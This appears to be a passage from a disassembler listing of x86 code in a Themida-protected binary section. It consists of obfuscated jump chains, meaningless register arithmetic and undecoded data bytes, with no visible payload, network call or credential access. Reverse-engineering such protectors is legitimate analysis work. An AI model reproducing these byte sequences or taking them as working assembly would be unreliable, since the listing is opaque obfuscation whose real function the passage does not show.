		dd 9F58003h, 0B2B05066h, 8B66C520h, 0E9532404h,	416Eh
; ---------------------------------------------------------------------------


loc_554C28:				; CODE XREF: Themida_:00564944j
		add	esp, 4
		jmp	loc_563616
; ---------------------------------------------------------------------------
		dd 4001A8BFh, 81E7D167h, 2B2211EFh, 5D5DE921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554C42:				; CODE XREF: Themida_:00560067j
		mov	ebp, 7A8A792Dh
		add	ebp, 5A172C00h
		or	ebp, 5EFF02ABh
		shl	ebp, 4
		push	1986h
		jmp	loc_5572DE
; ---------------------------------------------------------------------------


loc_554C60:				; CODE XREF: Themida_:00562873j
		push	edi
		jmp	loc_55BECF
; ---------------------------------------------------------------------------


loc_554C66:				; CODE XREF: Themida_:00563E80j
		add	edi, edx
		jmp	loc_553E0C
; ---------------------------------------------------------------------------


loc_554C6D:				; CODE XREF: Themida_:0056407Dj
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jnz	loc_5660AF
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 5F8C6091h
		jmp	loc_557D8E
; ---------------------------------------------------------------------------
		db 53h,	88h, 0C7h
		dd 194E9h
		db 0
; ---------------------------------------------------------------------------


loc_554C9D:				; CODE XREF: Themida_:0055BFBCj
		mov	[esp], edx
		mov	edx, 367D2C14h
		mov	ebp, edx
		pop	edx
		shl	ebp, 1
		jmp	loc_553B3D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 491Ah
; ---------------------------------------------------------------------------


loc_554CC4:				; CODE XREF: Themida_:0055F300j
		pop	esp
		push	1D06h
		jmp	loc_55EB5F
; ---------------------------------------------------------------------------
aBKaTscb	db 'ÇŠaÆTéæ',0
		align 2
		dw 8951h
		dd 0E9CB89E9h, 10814h, 0E9241489h, 0FFFFDB31h, 330B8A2Dh
		dd 5D80103h, 3330B8Ah, 168F685Bh, 1C890000h, 82FBE924h
		dd 3C310000h, 243C3324h, 0FFDCD1E9h, 0E9D331FFh, 48AFh
		dd 4C281h, 0EA810000h, 4, 5C241487h, 0E9241C89h, 60DFh
; ---------------------------------------------------------------------------


loc_554D30:				; CODE XREF: Themida_:00558946j
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_5540D9
; ---------------------------------------------------------------------------


loc_554D39:				; CODE XREF: Themida_:0055B717j
		dec	ebp
		sub	ebp, 4F2CE81Fh
		sub	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 0B2E2F26h
		add	ebx, edx
		pop	edx
		add	ebp, ebx
		jmp	loc_55544D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 52582434h, 0C281E289h, 4, 0FFF4BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554D65:				; CODE XREF: Themida_:00560C04j
		pop	esp
		xchg	esi, ebx
		jmp	loc_560E48
; ---------------------------------------------------------------------------
		db 59h,	51h, 66h
		dd 883EB450h, 0FE5866E1h, 66E952C9h, 580000C4h,	30C968h
		dd 24148900h, 497022BAh, 4E9C0531h, 1F2D2663h, 2D4BC751h
		dd 4ADB4274h, 7405D029h, 54ADB42h, 4BC7511Fh, 0FE82E957h
		dd 0CE89FFFFh, 57EAE9h,	27B85000h, 0C111A912h, 0BD3507E0h
		dd 2522AD1Ah, 6DED7C7Dh, 103C0E9h, 5DEE0100h, 8904EC83h
		dd 74FF2434h, 0E1E90424h, 6600003Ch, 8324048Bh,	0E9C002C4h
		dd 2F18007h, 8059CB08h,	970491F3h, 498BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554DF9:				; CODE XREF: Themida_:00558D4Cj
		mov	eax, [esp]
		jmp	loc_55A7AF
; ---------------------------------------------------------------------------


loc_554E01:				; CODE XREF: Themida_:0055A366j
		inc	ebp
		shl	ebp, 3
		dec	ebp
		dec	ebp
		sub	ebp, 1C41F422h
		jmp	loc_563F2C
; ---------------------------------------------------------------------------


loc_554E12:				; CODE XREF: Themida_:00564EF9j
		pop	esi
		add	edx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_553CAB
; ---------------------------------------------------------------------------
		dd 4AD3875Bh, 0BF57D387h, 6F563377h, 0FFE342E9h, 0E9FE88FFh
		dd 10E4Eh, 0E92434FFh, 14BDh, 4C281h, 0EA810000h, 4, 0E9241487h
		dd 8DDCh, 4C781h, 3C870000h, 0AC685C24h, 8900000Dh, 61E92434h
		dd 0E9FFFFF7h, 0FFFFC7B8h, 0E9242C89h, 4CBh, 0D81236B8h
		dd 8CF2E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E82:				; CODE XREF: Themida_:0055E9E9j
		push	21E97BC8h
		pop	ecx
		jmp	loc_564177
; ---------------------------------------------------------------------------
aPsY		db 'PéÓY',0
		dw 6600h
		dd 68240C8Bh, 52F1h, 0E9240489h, 0DC13h
; ---------------------------------------------------------------------------


loc_554EA4:				; CODE XREF: Themida_:0055C3C0j
		sub	dword ptr [esp+4], 136D43A7h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 136D43A7h
		mov	ebx, [esp]
		jmp	loc_563491
; ---------------------------------------------------------------------------


loc_554EC0:				; CODE XREF: Themida_:0055AFFEj
		sub	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 4BEF3A90h
		inc	edi
		not	edi
		not	edi
		add	edi, 8CC9C6h
		sub	ebx, edi
		jmp	loc_55E96F
; ---------------------------------------------------------------------------
		dd offset dword_457444+0E824h
		align 10h
		dd 68241489h, 711Fh, 0E9242489h, 0C2D6h
; ---------------------------------------------------------------------------


loc_554EF0:				; CODE XREF: Themida_:00555184j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_559B50
; ---------------------------------------------------------------------------


loc_554EFC:				; CODE XREF: Themida_:00564AD7j
		not	ebp
		xchg	ebp, ebx
		jmp	loc_5612AD
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 895C2414h, 30E92404h, 0AC000077h,	0EC83D830h
		dd 240C8904h, 0E9FAB450h, 11DEh
; ---------------------------------------------------------------------------


loc_554F28:				; CODE XREF: Themida_:0055B2ECj
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 7C9124D7h
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	44E8h
		mov	[esp], esp
		jmp	loc_554A43
; ---------------------------------------------------------------------------
aPsqb		db 'Péïb',0
		align 2
		dw 0C381h
		dd 4, 2474FF53h, 48F5B04h, 48F5C24h, 31FB3124h,	97FB31DFh
		dd 0BC70E9h, 34875B00h,	24248B24h, 1198E9h, 0A2BB800h
		dd 0B9513EB9h, 3DF715C7h, 0C181D9F7h, 7CB01FF6h, 159C831h
		dd 5ACCE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F9A:				; CODE XREF: Themida_:0055B282j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5650A8
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0D3h
		dd 811FFE2Fh, 6677BBC3h, 49E95F1Dh, 0AC0000E7h,	1DB25266h
		dd 5A66D000h, 8252E9h, 0B0F58100h, 0E9CB6CB0h, 0BA84h
; ---------------------------------------------------------------------------


loc_554FD0:				; CODE XREF: Themida_:0055B7C1j
		mov	ecx, edi
		pop	edi
		push	edx
		jmp	loc_5519C8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124348Bh, 4C4h, 8666E900h, 0C310000h, 240C3324h, 6624248Bh
		dd 83240C8Bh, 348904ECh, 815E5424h, 4C6h, 4B85000h, 53000000h
		dd 4B7EB2BBh, 0FAC6E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555016:				; CODE XREF: Themida_:005631CDj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_555380
; ---------------------------------------------------------------------------
		dd 42474FFh, 81243C8Bh,	4C4h, 119E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_555036:				; CODE XREF: Themida_:00562EC3j
		push	bx
		mov	bl, 49h
		add	al, bl
		pop	bx
		sub	al, cl
		sub	al, 49h
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_555CB2
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0B9240C89h, 6D7A6CA8h, 194CE9h, 4E9C100h
		dd 8904EC83h, 0C5BF243Ch, 31011FEFh, 0C8015FF9h, 83240C8Bh
		dd 84E904C4h, 0FF0000ACh, 669D1C77h, 24041058h,	0C572E99Ch
		dd 0E388FFFFh, 9E0E958h, 0E6300001h, 21E9F430h,	81000085h
		dd 4EAh, 24148700h, 0F3CCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550D6:				; CODE XREF: Themida_:0055C772j
		neg	ebx
		dec	ebx
		sub	ebx, 7CC24CD3h
		shr	ebx, 2
		add	ebx, 0E79167EAh
		jmp	loc_5595B3
; ---------------------------------------------------------------------------
		db 0BAh, 71h, 12h
		dd 0D5015BF5h, 2434FF5Ah, 8124048Bh, 4C4h, 0A8E95000h
		dd 8900006Ah, 4C281E2h,	81000000h, 4EAh, 24148700h, 240C895Ch
		dd 81E38953h, 4C3h, 4EB8300h, 0FFF7F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55512D:				; CODE XREF: Themida_:0055D3BBj
		mov	bh, 8Bh
		sub	bh, 5Ah
		jmp	loc_557B37
; ---------------------------------------------------------------------------
		db 87h
		dd 88E9241Ch, 81000067h, 4C5h, 0CAB2E900h, 555C0000h, 2BDh
		dd 0FC77E900h, 1487FFFFh, 0FFECE924h, 0E2C1FFFFh, 0F6D1E903h
		dd 0C288FFFFh, 0DE05E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55516E:				; CODE XREF: Themida_:00564692j
		sub	edx, ebp
		jmp	loc_5631FE
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 66h
		dd 0E96B062Dh, 0B210h
; ---------------------------------------------------------------------------


loc_555180:				; CODE XREF: Themida_:00561381j
		pop	eax
		xor	ebp, [esp]
		jmp	loc_554EF0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 218CE95Ch, 875B0000h, 895C243Ch
		dd 54E92414h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5551AB:				; CODE XREF: Themida_:0055638Bj
		sub	esp, 4
		jmp	loc_552483
; ---------------------------------------------------------------------------


loc_5551B6:				; CODE XREF: Themida_:0055A342j
		add	eax, 4B5A0EB6h
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	ebx, 189922F0h
		add	ebx, 1
		shr	ebx, 6
		add	ebx, 1F7B54B0h
		xor	ebx, 20E9D27Fh
		jmp	loc_56538F
; ---------------------------------------------------------------------------


loc_5551EA:				; CODE XREF: Themida_:005532E4j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_562D0C
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	0C7815C24h, 4, 0E9243C87h, 0FFFFE76Fh
		dd 6624248Bh, 9C240409h, 0FFC3F7E9h, 58C301FFh,	0E1C3815Dh
		dd 53B174D5h, 8357E952h, 0C9810000h, 2EEA0851h,	0A855E981h
		dd 0CA01EEFAh, 24148759h, 80A7E9h, 0C2B85000h, 0E931A30Bh
		dd 3989h, 8904EC83h, 0E2892414h, 4C281h, 0C2830000h, 773EE904h
		dd 1660000h, 416658C1h,	6EC98166h, 95F4E91Ch, 0C8B0000h
		dd 4C48124h, 81000000h,	4E32E5F6h, 0D9EE810Ch, 0E9229744h
		dd 0FFFFF063h
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Themida_:005587A7j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5664EA
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 0F6h
		dd 4E2C0D2h, 0E9A9F280h, 1074Ch
; ---------------------------------------------------------------------------


loc_5552C0:				; CODE XREF: Themida_:00562BB9j
		push	edi
		pop	ecx
		push	edi
		mov	edi, ecx
		mov	edx, edi
		jmp	loc_561D3E
; ---------------------------------------------------------------------------


loc_5552CC:				; CODE XREF: Themida_:0055B5D3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_562AA8
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFE7BAh, 92707EB9h, 0E9CE094Ch, 3241h
; ---------------------------------------------------------------------------


loc_5552F8:				; CODE XREF: Themida_:00564C97j
		and	esi, 784E1BBEh
		jmp	loc_55B54D
; ---------------------------------------------------------------------------


loc_555303:				; CODE XREF: Themida_:0055544Ej
		push	eax
		mov	eax, 75123E04h
		xor	ebp, eax
		pop	eax
		xor	ebp, 0C87487A2h
		jmp	loc_5641B6
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6035F281h, 0D52135BFh, 8124148Bh, 4C4h, 6F58100h, 10C9430h
		dd 7417E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555336:				; CODE XREF: Themida_:0055ED7Dj
		push	dword ptr [edi+24h]
		push	5D46h
		jmp	loc_55461A
; ---------------------------------------------------------------------------
		db 89h
		db 0E5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ebp, 3E6D6536h
		add	ebp, edx
		sub	ebp, 3E6D6536h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55A8A3
; ---------------------------------------------------------------------------


loc_555380:				; CODE XREF: Themida_:0055501Fj
		push	ebp
		mov	ebp, 1E2A5152h
		xor	[esp+4], ebp
		jmp	loc_553569
; ---------------------------------------------------------------------------
		db 81h
		dd 52F96E2h, 6839h, 14290000h, 8611E924h, 8B660000h, 0F368240Ch
		dd 0E9000029h, 87E1h
; ---------------------------------------------------------------------------


loc_5553B0:				; CODE XREF: Themida_:00560B7Dj
		pop	esp
		mov	[esp], ecx
		push	edi
		push	26A4h
		mov	[esp], ebp
		jmp	loc_565C6E
; ---------------------------------------------------------------------------
		dw 548h
		dd 4787BE8Ch, 158C201h,	0FDA3E9EAh, 0D329FFFFh,	81D3015Ah
		dd 8E00C3C3h, 5FE95A1Dh, 81000058h, 0D317E5EDh,	231AE94Fh
		dd 2D5B0000h, 7369328Bh, 8B05C829h, 0E9736932h,	32F9h
		dd 8124048Bh, 4C4h, 65E96800h, 34890000h, 1E10BE24h, 0EE810FA5h
		dd 1, 0E1F5C681h, 0F001F05Ah, 0E924348Bh, 0B04h
; ---------------------------------------------------------------------------


loc_55542C:				; CODE XREF: Themida_:0055A57Aj
		add	al, 0DCh
		push	edx
		push	259Dh
		mov	[esp], eax
		mov	ah, 0E8h
		push	536Ch
		mov	[esp], ebx
		mov	bh, 2
		push	eax
		mov	al, 68h
		inc	al
		jmp	loc_55EC25
; ---------------------------------------------------------------------------


loc_55544D:				; CODE XREF: Themida_:00554D4Ej
		pop	ebx
		jmp	loc_555303
; ---------------------------------------------------------------------------


loc_555453:				; CODE XREF: Themida_:00565420j
		push	eax
		mov	eax, 12A0441Dh
		shr	eax, 2
		xor	eax, 58230E5Eh
		jmp	loc_55F664
; ---------------------------------------------------------------------------
		dw 1489h
aS_7		db '$é»Õ',0
		align 2
		dw 0F581h
		dd 1C555BD1h, 5FBCED81h, 0C3811C75h, 74C403D9h,	2A2AC381h
		dd 0EB01072Dh, 432FE9h,	9BEA8100h, 13D6A54h, 9BC281EAh
		dd 0FF3D6A54h, 815D2434h, 4C4h,	24148700h, 5624248Bh, 45CEB850h
		dd 15BE2D52h, 811151D7h, 9936A1C6h, 81C6013Fh, 9936A1EEh
		dd 3DC5E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554CA:				; CODE XREF: Themida_:00552B7Aj
		pop	edi
		or	ebx, 257A0670h
		add	ebx, 20A84107h
		mov	edx, ebx
		pop	ebx
		jmp	loc_554B05
; ---------------------------------------------------------------------------
		db 58h
		dd 9FE9D5F7h, 0ADFFFFC2h, 4EC8152h, 89000000h, 2682404h
		dd 8B565205h, 0EAE92404h, 5000009Ah, 0D0F6D088h, 90D8E9h
		dd 59CE0100h, 4EE81h, 34870000h, 0C341E924h, 48B0000h
		dd 0E3895324h, 8A2E9h, 3C875800h, 69DEE924h, 1C890000h
		dd 8EE95524h, 0FF0000EAh, 0C8B2434h, 4EC8124h, 89000000h
		dd 5D54242Ch, 4C581h, 50520000h, 2EABE9h, 0B60F6600h, 0B9686600h
		dd 0CBFDE900h, 46680000h, 89000002h, 14F7243Ch,	0F7575F24h
		dd 475F2414h, 8106EFC1h, 3A055DF7h, 769F0522h, 7A05633Ah
		dd 56A4334h, 2268194Ch,	0C21C072Dh, 793E974h, 515D0001h
		dd 28494768h, 0A860E960h, 0D3310000h, 4EC835Ah,	0BB241C89h
		dd 4FAD146Eh, 23F38143h, 810D583Ch, 0FC6B84C3h,	55BA5267h
		dd 0E9FDF9D1h, 0FFFFF749h
; ---------------------------------------------------------------------------


loc_5555C8:				; CODE XREF: Themida_:00551D43j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]


loc_5555E0:				; CODE XREF: Themida_:005565BFj
					; Themida_:005600BFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557DB0
; ---------------------------------------------------------------------------
		db 48h
		dd 0D28D435h, 0FDC8E902h, 0B3BAFFFFh, 0D169E81Bh, 7EAC1EAh
		dd 3E9F281h, 0EA8106ABh, 7CC802F5h, 24CCE9h, 5FB85000h
		dd 0C170AA46h, 83E907E0h, 8B000025h, 48E9241Ch,	5C00005Fh
		dd 505AD301h, 4B8h, 0C41E900h, 8B660000h, 89562404h, 0C96BE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555646:				; CODE XREF: Themida_:00565558j
		mov	[esp], ax
		jmp	loc_551628
; ---------------------------------------------------------------------------
aISi		db 'ˆÑéˆÉ',0
		align 2
		dw 0EEC1h
		dd 0E4EE8107h, 818F6BBBh, 4ECh,	24348900h, 2434FF58h, 4C4835Eh
		dd 0E8C1D0F7h, 0B8505705h, 67F83022h, 0E958C789h, 1B5Fh
		dd 3EE95659h, 8100003Eh, 0E6039DEEh, 0E14BE91Bh, 0F701FFFFh
		dd 4EC815Eh, 0E9000000h, 46ECh,	59CE2958h, 348BF001h, 10C26824h
		dd 2C890000h, 81E58924h, 4C5h, 0C22CE900h, 0AD66FFFFh
		dd 9FB0E9h, 4BF00h, 0F8010000h,	83243C8Bh, 0EC8104C4h
		dd 4, 5721E9h, 32FF6400h, 2B20E9h, 0E9D1F700h, 9B33h, 6C4068h
		dd 243C8900h, 1A5968h, 24348900h, 0C681E689h, 4, 4EE81h
		dd 4DE90000h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555713:				; CODE XREF: Themida_:0055FE44j
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	edx, 1
		jmp	loc_560FDF
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 3Dh
		dd 59123C10h, 3304C683h, 34312434h, 24343324h, 53C3315Ch
		dd 0C78DE9h, 241C3300h,	0BEE2E95Ch, 4C2DFFFFh, 16EB368h
		dd 62BFE9D8h, 0C6800000h, 6734E911h, 4310000h, 24043324h
		dd 3124248Bh, 0BDE92404h, 66FFFFBEh, 5E5BD801h,	6E3EE9h
		dd 63AFB900h, 0E9817CC4h, 187BFA98h, 5759C829h,	3889CF89h
		dd 0FFD80AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55578D:				; CODE XREF: Themida_:00558509j
		add	esp, 4
		jmp	loc_560748
; ---------------------------------------------------------------------------


loc_555798:				; CODE XREF: Themida_:0055A323j
		mov	[esp], ecx
		jmp	loc_561F34
; ---------------------------------------------------------------------------


loc_5557A0:				; CODE XREF: Themida_:005627EDj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55217E
; ---------------------------------------------------------------------------
		dw 0ECC0h
		dd 74EC8005h, 2858E500h, 8B6659EEh, 0C483241Ch,	8BF03002h
		dd 89512414h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 0FFDDAFE9h
		dd 48F5AFFh, 0E9505C24h, 0B664h, 8135D8F7h, 0E9B98B82h
		dd 4896h
; ---------------------------------------------------------------------------


loc_5557FC:				; CODE XREF: Themida_:005576C8j
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		push	4
		push	dword ptr [esp]
		jmp	loc_554753
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 0E904EC83h, 0C2AEh, 0C181E901h, 42601CADh
		dd 0E92434FFh, 0FFFFE3E6h, 0C345E953h, 1CF6FFFFh, 0E9E99C24h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55583F:				; CODE XREF: Themida_:00557B96j
		push	ecx
		push	edx
		mov	edx, 61763C70h
		jmp	loc_5621FA
; ---------------------------------------------------------------------------


loc_55584B:				; CODE XREF: Themida_:0055FC48j
		pop	edi
		pop	ecx
		push	eax
		mov	eax, edi
		mov	edx, eax
		pop	eax
		pop	edi
		add	edx, ecx
		jmp	loc_5521F6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 38E0E904h, 1C8B0000h, 4C48324h, 4C381h
		dd 1CE90000h, 53FFFFE4h, 0C96554BBh, 24BF5719h,	0C14FBE3Bh
		dd 0D7F703E7h, 8945E9h,	5AD30100h, 5C241C87h, 8B24048Fh
		dd 0C892424h, 0BD86E924h, 0E0BFFFFFh, 819C4534h, 0D75BD9C7h
		dd 81C7291Dh, 0D75BD9EFh, 7C01581Dh, 0E95F0824h, 0CC44h
		dd 6806E2C1h, 261Ch, 0BD242C89h, 9DF7DE0h, 4258E581h, 0DDF70FA4h
		dd 95E95045h, 87FFFFEBh, 685C2414h, 3DB2h, 0D8B7E9h, 4BF00h
		dd 0B8E90000h, 810000AAh, 59E845E9h, 59CA0110h,	4206E2C1h
		dd 93BE9h
		db 0
; ---------------------------------------------------------------------------


loc_555909:				; CODE XREF: Themida_:00560841j
		add	esp, 4
		sub	eax, 6DED12B6h
		mov	ebx, [esp]
		jmp	loc_552CC5
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E8010000h, 2404335Dh, 33240431h, 248B2404h,	4C48124h
		dd 0E9000000h, 0FFFFBCF0h, 283AF305h, 509BE90Fh, 1C310000h
		dd 241C3324h, 6624248Bh, 6824048Bh, 360Eh, 68240489h, 1173h
		dd 24048F54h, 4240481h,	58000000h, 45D768h, 24348900h
		dd 9E668h, 241C8900h, 179AB951h, 0CB89465Fh, 0E9240C8Bh
		dd 0C8E9h, 52FA685Ch, 59E90000h, 530000C7h, 6D56ECBBh
		dd 3D2E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55599E:				; CODE XREF: Themida_:0056343Aj
		sub	[esp+4], ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5625C1
; ---------------------------------------------------------------------------
		db 83h
		dd 8F5404ECh, 4682404h,	8900005Fh, 4B9240Ch, 0E9000000h
		dd 816Ch, 72EB815Dh, 2940C01Eh,	72C381F3h, 8740C01Eh, 0BA525BDEh
		dd 57E56374h, 0F281DAF7h, 0E578E8EFh, 815AD631h, 5F65FECEh
		dd 4EEC12Eh, 2E37F681h,	0E9511814h, 16BAh, 8124248Bh, 844EC9C3h
		dd 0E4B9511Eh, 0E92BE968h, 4F54h, 5866E700h, 4476E9h
		db 0
; ---------------------------------------------------------------------------


loc_555A19:				; CODE XREF: Themida_:00552E02j
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_5622D0
; ---------------------------------------------------------------------------


loc_555A24:				; CODE XREF: Themida_:00556ABEj
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_55E092
; ---------------------------------------------------------------------------


loc_555A32:				; CODE XREF: Themida_:0055DDBBj
		dec	ebp
		neg	ebp
		or	ebp, 163169DAh
		xor	ebp, 0D679FBDAh
		mov	esi, ebp
		jmp	loc_5626D6
; ---------------------------------------------------------------------------


loc_555A48:				; CODE XREF: Themida_:00555FB7j
		pop	ecx
		add	esp, 4
		mov	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 0DF1224Fh
		jmp	loc_560A61
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 0C8904ECh, 0FFFFB924h, 0CA29FFFFh, 4EC8159h,	89000000h
		dd 79BF243Ch, 81FDE2DBh, 8078F7EAh, 81FA0159h, 8078F7C2h
		dd 0D3315F59h, 70CAE95Ah, 14890000h, 0B6A66824h, 34FF0EFDh
		dd 0FD685A24h, 8900005Dh, 8B54240Ch, 0EC83240Ch, 242C8904h
		dd 0C581E589h, 4, 4C581h, 2C870000h, 0EC815C24h, 4, 0BB241C89h
		dd 2D4F666Ch, 47EBC381h, 0F3815A12h, 0A8A2F29Dh, 641DE381h
		dd 0EB815FCDh, 0FC14404h, 34FFD901h, 6FE95B24h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555AEF:				; CODE XREF: Themida_:00564136j
		mov	[esp], edx
		jmp	loc_551FF7
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2701E950h, 0CF210000h, 5CBA5259h, 0E97D396Bh, 6BEAh
		dd 0A0ED805Bh, 53C380h,	53EB80EBh, 83240C8Bh, 0EB8004C4h
		db 6Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	6940h
		jmp	loc_5594E2
; ---------------------------------------------------------------------------


loc_555B41:				; CODE XREF: Themida_:00561DFEj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_553A5D
; ---------------------------------------------------------------------------
		db 31h
		dd 529E68FBh, 3C890000h, 6F6BBF24h, 0FB311788h,	1C5F095Fh
		dd 0FF2434FFh, 1EE92434h, 810000D7h, 250162CAh,	3CCA8148h
		dd 0E91F9454h, 0Ch, 0BEA3E993h,	0E95A0000h, 0C6D3h, 6DE2C281h
		dd 0EA814C04h, 2A2B1C51h, 7E51E9h, 23C78000h, 0EF80C7FEh
		dd 0F4EF8001h, 5DE9FD30h, 59FFFFFFh, 7D89E9h
		db 0
; ---------------------------------------------------------------------------


loc_555BB5:				; CODE XREF: Themida_:00565CC7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551BE5
; ---------------------------------------------------------------------------


loc_555BC0:				; CODE XREF: Themida_:0055ECCEj
		dec	ebx
		and	ebx, 11D93215h
		inc	ebx
		shl	ebx, 3
		add	ebx, 7B7E6F5Ch
		add	esi, ebx
		pop	ebx
		jmp	loc_563639
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 5C243487h, 8052B359h, 0C3FE58C3h, 804EF380h,	0C3807EC3h
		dd 80D3287Dh, 2C5A7DEBh, 0CE96E976h, 0C6290000h, 7EB2EE81h
		dd 34FF734Bh, 89515824h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 0C213E9h, 8BD00100h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 0BB685C24h, 8900007Fh,	2BF243Ch
		dd 1000000h, 0A1E95FFEh, 58FFFFECh, 8904EC83h, 0E952242Ch
		dd 438Eh, 0E9241C89h, 0C658h, 0E6895650h, 393AB951h, 0C1812180h
		dd 0DE7FC6CAh, 8359CE01h, 348704EEh, 0C895C24h,	0B0DBB124h
		dd 0D278E9B6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CB2:				; CODE XREF: Themida_:00555073j
		add	ebx, 2
		push	1DA4h
		mov	[esp], ebx
		jmp	loc_55A39B
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 75DEE9h, 42D00h, 0D8E90000h, 81000087h, 4C4h, 2D61E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CE2:				; CODE XREF: Themida_:00564735j
		mov	ebx, 1EAB1A22h
		not	ebx
		push	esi
		push	ebx
		jmp	loc_559DE0
; ---------------------------------------------------------------------------


loc_555CF0:				; CODE XREF: Themida_:00553E7Cj
		pop	edx
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_55C336
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFD1DFh, 9E4DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


